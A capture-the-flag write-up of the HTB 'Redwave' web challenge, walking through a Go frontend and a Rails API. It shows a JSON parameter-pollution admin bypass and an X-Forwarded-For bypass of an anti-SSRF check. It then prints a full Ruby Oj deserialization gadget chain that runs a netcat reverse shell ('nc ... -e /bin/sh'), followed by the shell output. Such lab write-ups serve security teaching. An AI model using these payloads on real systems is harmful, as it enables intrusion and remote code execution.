Redwave
Challenge
- CTF: HTB Business CTF 2023: The Great Escape
- Name: Redwave
- Category: Web
- Difficulty: Hard
- Points: 1000
- Description: The Commonwealth of Arodor Maximus has deployed a satellite broadcast system to exert control over their forces. You have successfully infiltrated their internal network. Are you capable of hacking into the broadcasting service and exposing their secret plans?
Files
Download: web_redwave.zip
Synopsis
There are two web applications in this challenge, a frontend Golang web application and a backend Ruby on Rails web application that is handling API calls from the frontend. The challenge starts off with registering and logging in a user, and accessing a feature called “Change Broadcast”. The request to change broadcast is vulnerable to Parameter Pollution that occurs when multiple values are supplied for a single parameter in an HTTP request. This allows us to become administrator by making our user-id value empty to bypass the admin conditional statement. With admin access, we can bypass the Anti-Server-Side Request Forgery (SSRF) countermeasures with the X-Forwarded-For
header to anything other than 127.0.0.1 such as 127.0.0.2. Then we can upload a Ruby Oj Gem deserialization payload to achieve Remote Code Execution.
Initial Analysis
You can spin this up via docker and it will be hosted at http://127.0.0.1:1337 or http://172.17.0.3:1337
1
sudo ./build-docker.sh
Within the source-code, the following routes are configured in this Golang front-end webserver at redwave-interface/internal/server/server.go
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
func (s *Server) Start() error {
r := mux.NewRouter()
path := filepath.Join(getCwd(), "web/static")
r.PathPrefix("/static/").Handler(http.StripPrefix("/static", http.FileServer(http.Dir(path))))
r.HandleFunc("/", s.handleRoot)
r.HandleFunc("/signin", s.handleSignIn).Methods("GET")
r.HandleFunc("/signin", s.handleSignInPost).Methods("POST")
r.HandleFunc("/signout", s.handleSignOut)
r.HandleFunc("/register", s.handleRegister).Methods("POST")
r.HandleFunc("/dashboard", s.handleBroadcast).Methods("GET")
r.HandleFunc("/dashboard", s.handleBroadcastPost).Methods("POST")
r.HandleFunc("/admin", s.handleAdmin).Methods("GET")
r.HandleFunc("/admin", s.handleAdminPost).Methods("POST")
log.Println("Starting HTTP server at 8080")
return http.ListenAndServe(":8080", r)
When browsing to the site for the first time you are redirected to a registration page at http://localhost:1337/register:
We can register with the credentials test:test
and then proceed to login at http://localhost:1337/signin. We are then presented with a Broadcast Channel configuration page where you change change to 10 different channels.
Changing a channel send a POST request to /dashboard
as shown below:
1
2
3
4
5
6
POST /dashboard HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
...[snip]...
{"UID":"616fed54-6db9-43a5-bb1d-58d5c830137e","username":"test","category":"Medical Expertise Needed 021120"}
Parameter Pollution to Admin Bypass
This POST request to /dashboard
is handled in redwave-interface/internal/server/category.go
and sends the body of the POST request to s.apiClient.EditUser(postBody,u)
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
func (s *Server) handleBroadcastPost(w http.ResponseWriter, r *http.Request) {
cookie, err := r.Cookie("session_token")
if err != nil {
http.Error(w, "You must be logged in to access", http.StatusUnauthorized)
return
}
var u = s.sessions[cookie.Value]
postBody, err := io.ReadAll(r.Body)
if err != nil {
log.Println(err)
http.Error(w, "Something went wrong", http.StatusInternalServerError)
return
}
err = s.apiClient.EditUser(postBody, u)
if err != nil {
handleApiError(w, err)
return
}
var updatedUser models.User
json.Unmarshal(postBody, &updatedUser)
s.sessions[cookie.Value] = updatedUser
http.Redirect(w, r, "/dashboard", http.StatusFound)
}
The EditUser()
function is defined in redwave-interface/internal/apiclient/apiclient.go
and creates a new request to the backend of http://127.0.0.1:3000/user/edit
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
func (client *ApiClient) EditUser(requestBody []byte, user models.User) error {
req, err := http.NewRequest(
http.MethodPost, fmt.Sprintf("%s/user/edit", client.Url), bytes.NewBuffer(requestBody),
)
if err != nil {
return err
}
req.Header.Set("Content-Type", "application/json")
req.Header.Set("X-Authorization-User", user.UID)
resp, err := http.DefaultClient.Do(req)
if err != nil {
return err
}
var response EditUserResponse
err = json.NewDecoder(resp.Body).Decode(&response)
if err != nil {
return err
}
if response.Success == 0 && response.Message != "" {
return NewApiError(response.Message)
}
return nil
}
The backend POST request to /user/edit
will be processed by updateUser()
in challenge/redwave-api/app/controllers/users_controller.rb
. The raw JSON data is then parsed and checked if the JSON UID
matches the req_uid
that was composed from the session cookie of the current user.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def updateUser
req_uid = request.headers["X-Authorization-User"]
json_user = JSON.parse(request.body.read)
if req_uid != json_user["UID"]
render json: '{"success":0, "message":"Bad Request"}', :status => 400
return
end
if User.exists?(UID: req_uid)
user = User.lock.where(UID: req_uid, username: json_user["username"]).first
user.broadcastChannel = json_user["category"]
puts json_user
user.save
render json: '{"success":1}', :status => 200
return
end
render json: '{"success":0, "message":"Bad Request"}', :status => 400
end
If everything checks out and no errors occur, the broadcastChannel
is updated from the JSON category
and processing returns back to the frontend. Thus, continuing the application processing flow at the front-end at redwave-interface/internal/server/category.go
, it takes the original postBody
and converts it from JSON to struct using the json.Unmarshal()
call.
1
2
3
4
var updatedUser models.User
json.Unmarshal(postBody, &updatedUser)
s.sessions[cookie.Value] = updatedUser
http.Redirect(w, r, "/dashboard", http.StatusFound)
Thus all the JSON input parameters will be put into a models.User
structure that is defined in redwave-interface/internal/models/models.go
. as shown bleow:
1
2
3
4
5
6
type User struct {
UID string
Username string `json:"username"`
Password string `json:"password"`
BroadcastChannel string `json:"broadcastChannel"`
}
However, looking closer at when Go’s json.Unmarshal
function… IF it encounters duplicate keys in the JSON data, it will unmarshal the value of the last occurrence of the duplicate key into the corresponding struct field. This means that if you have multiple occurrences of a key with different capitalizations, such as “UID” and “uid”, the value of the last occurrence will overwrite the value of the previous occurrences. This type of vulnerability is called Parameter Pollution that can occur in applications that process user-supplied data without proper validation and handling. In the context of JSON unmarshaling in Go, if the JSON data contains duplicate keys, it could lead to parameter pollution if the application does not handle it appropriately.
Looking at how the admin page at /admin
is checked, we can see it only checks to see if the user.UID is set to an empty string.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
func (s *Server) checkAdmin(w http.ResponseWriter, r *http.Request) {
cookie, err := r.Cookie("session_token")
if err != nil {
http.Redirect(w, r, "/", http.StatusFound)
return
}
user, ok := s.sessions[cookie.Value]
if !ok {
http.Error(w, "Error retrieving user.", http.StatusBadRequest)
return
}
if user.UID != "" {
http.Error(w, "Not an admin!", http.StatusUnauthorized)
return
}
}
Furthermore, if we send the following Parameter Pollution payload, we can pass all the checks in the back-end and then get it to change our uid
in the front-end to reach the /admin
page by setting our uid=""
!
Request:
1
2
3
4
5
6
7
8
9
10
POST /dashboard HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
..[snip]..
{"UID":"616fed54-6db9-43a5-bb1d-58d5c830137e","username":"test","category":"Sustainable Food Solutions 150622","uid":""}
Note, the only change to this request required is appending the case-sensitive uid
key with the value ""
within the brackets.
Response:
1
2
3
4
HTTP/1.1 302 Found
Location: /dashboard
Content-Length: 0
Connection: close
1
2
3
4
5
6
7
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Content-Length: 20
Connection: close
Unable to find user
Now we attempt to access the admin page at http://localhost:1337/admin and we get in like magic due to not passing the user.UID != ""
at the front-end Go application.
Analyzing the admin application, it seems it allows us to send a POST request to any URL and includes the POST Body as well using url
and body
keys of the JSON data:
1
2
3
4
5
6
7
8
9
POST /admin HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
...[snip]...
{"url":"","body":""}
SSRF Bypass to Ruby Oj Deserialization RCE
While reviewing the Ruby on Rails Redwave API backend source-code for suspicious endpoints, Snyk identified a high severity deserialization vulnerability in the healthcheck()
function at redwave-api/app/controllers/users_controller.rb
.
Looking into this, it attempts to stop Server-Side Request Forgery (SSRF) attempts to make this endpoint at 127.0.0.1:3000/user/healthcheck
inaccessible.
1
2
3
4
5
6
7
8
9
10
11
12
13
def healthcheck
requester_ips = Socket.getaddrinfo(request.ip, "http", nil)
anti_ssrf = ["127.0.0.1", "::1", "0.0.0.0"]
for ip in requester_ips do
if (ip & anti_ssrf).any?
render json: '{"success":0, "message":"Bad Request"}'
return
end
end
# Load complex class definitions
Oj.load(request.body.read)
render json: '{"success":1, "message":"Bad Request"}'
end
A quick way around this is to set our X-Forwarded-For
header to another local subnet address such as 127.0.1.1
. This will make our request_ip
not in the anti-ssrf
blacklist and we should be able to inject into the Oj.load
function directly.
Request:
1
2
3
4
5
6
7
8
9
10
POST /admin HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
...[snip]..
X-Forwarded-For: 127.0.1.1
{"url":"http://localhost:3000/","body":"{}"}
Response:
1
{"success":1, "message":"Bad Request"}
Notice the successful flag is set!
Now looking into RCE payloads into Oj.load
we find a awesome blog by BishopFox: Ruby Vulnerabilities: Exploiting Dangerous Open, Send and Deserialization Operations https://bishopfox.com/blog/ruby-vulnerabilities-exploits. Heres the working payload from it: “The modified version of Maini and Jaiswal’s gadget chain discussed above in the YAML section works fine in Oj JSON format as well, under both Ruby 2.7.5-p203/Rails 5.2.5 and Ruby 3.1.1p18/Rails 7.0.2.3. Pretty-printed, it looks like this:”
1
{\"^#1\":[[{\"^c\":\"Gem::SpecFetcher\"},{\"^o\":\"Gem::Installer\"},{\"^o\":\"Gem::Requirement\",\"requirements\":{\"^o\":\"Gem::Package::TarReader\",\"io\":{\"^o\":\"Net::BufferedIO\",\"io\":{\"^o\":\"Gem::Package::TarReader::Entry\",\"read\":2,\"header\":\"bbbb\"},\"debug_output\":{\"^o\":\"Logger\",\"logdev\":{\"^o\":\"Rack::Response\",\"buffered\":false,\"body\":{\"^o\":\"Set\",\"hash\":{\"^#2\":[{\"^o\":\"Gem::Security::Policy\",\"name\":{\":filename\":\"/tmp/xyz.txt\",\":environment\":{\"^o\":\"Rails::Initializable::Initializer\",\"context\":{\"^o\":\"Sprockets::Context\"}},\":data\":\"<%= system('touch /tmp/rce10b.txt') %>\",\":metadata\":{}}},true]}},\"writer\":{\"^o\":\"Sprockets::ERBProcessor\"}}}}}}],\"dummy_value\"]}
We add the payload above to our request, change system('touch /tmp/rce10b.txt')
to system('nc 172.17.0.1 4444 -e /bin/sh')
, startup a netcat listener, and send the request!
Request:
1
2
3
4
5
6
7
8
9
10
POST /admin HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
...[snip]..
X-Forwarded-For: 127.0.1.1
{"url":"http://127.0.1.1:3000/user/healthcheck","body":"{\"^#1\":[[{\"^c\":\"Gem::SpecFetcher\"},{\"^o\":\"Gem::Installer\"},{\"^o\":\"Gem::Requirement\",\"requirements\":{\"^o\":\"Gem::Package::TarReader\",\"io\":{\"^o\":\"Net::BufferedIO\",\"io\":{\"^o\":\"Gem::Package::TarReader::Entry\",\"read\":2,\"header\":\"bbbb\"},\"debug_output\":{\"^o\":\"Logger\",\"logdev\":{\"^o\":\"Rack::Response\",\"buffered\":false,\"body\":{\"^o\":\"Set\",\"hash\":{\"^#2\":[{\"^o\":\"Gem::Security::Policy\",\"name\":{\":filename\":\"/tmp/xyz.txt\",\":environment\":{\"^o\":\"Rails::Initializable::Initializer\",\"context\":{\"^o\":\"Sprockets::Context\"}},\":data\":\"<%= system('nc 172.17.0.1 4444 -e /bin/sh') %>\",\":metadata\":{}}},true]}},\"writer\":{\"^o\":\"Sprockets::ERBProcessor\"}}}}}}],\"dummy_value\"]}"}
Reverse Shell:
1
2
3
4
5
6
7
8
9
$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.3:44599.
$ id
uid=1000(www) gid=1000(www) groups=1000(www)
$ cat /app/api/flag.txt
HTB{F4K3_FL4G_F0R_T3ST1NG!}
And we read the flag!